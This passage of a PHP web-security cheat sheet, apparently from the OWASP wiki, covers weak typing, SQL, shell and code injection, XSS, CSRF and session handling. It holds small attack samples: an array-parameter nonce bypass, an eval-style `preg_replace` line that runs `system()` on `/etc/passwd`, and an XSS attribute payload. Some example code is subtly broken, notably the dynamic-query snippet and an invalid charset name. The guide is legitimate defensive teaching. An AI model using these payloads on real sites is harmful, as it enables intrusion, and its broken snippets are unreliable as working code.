        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
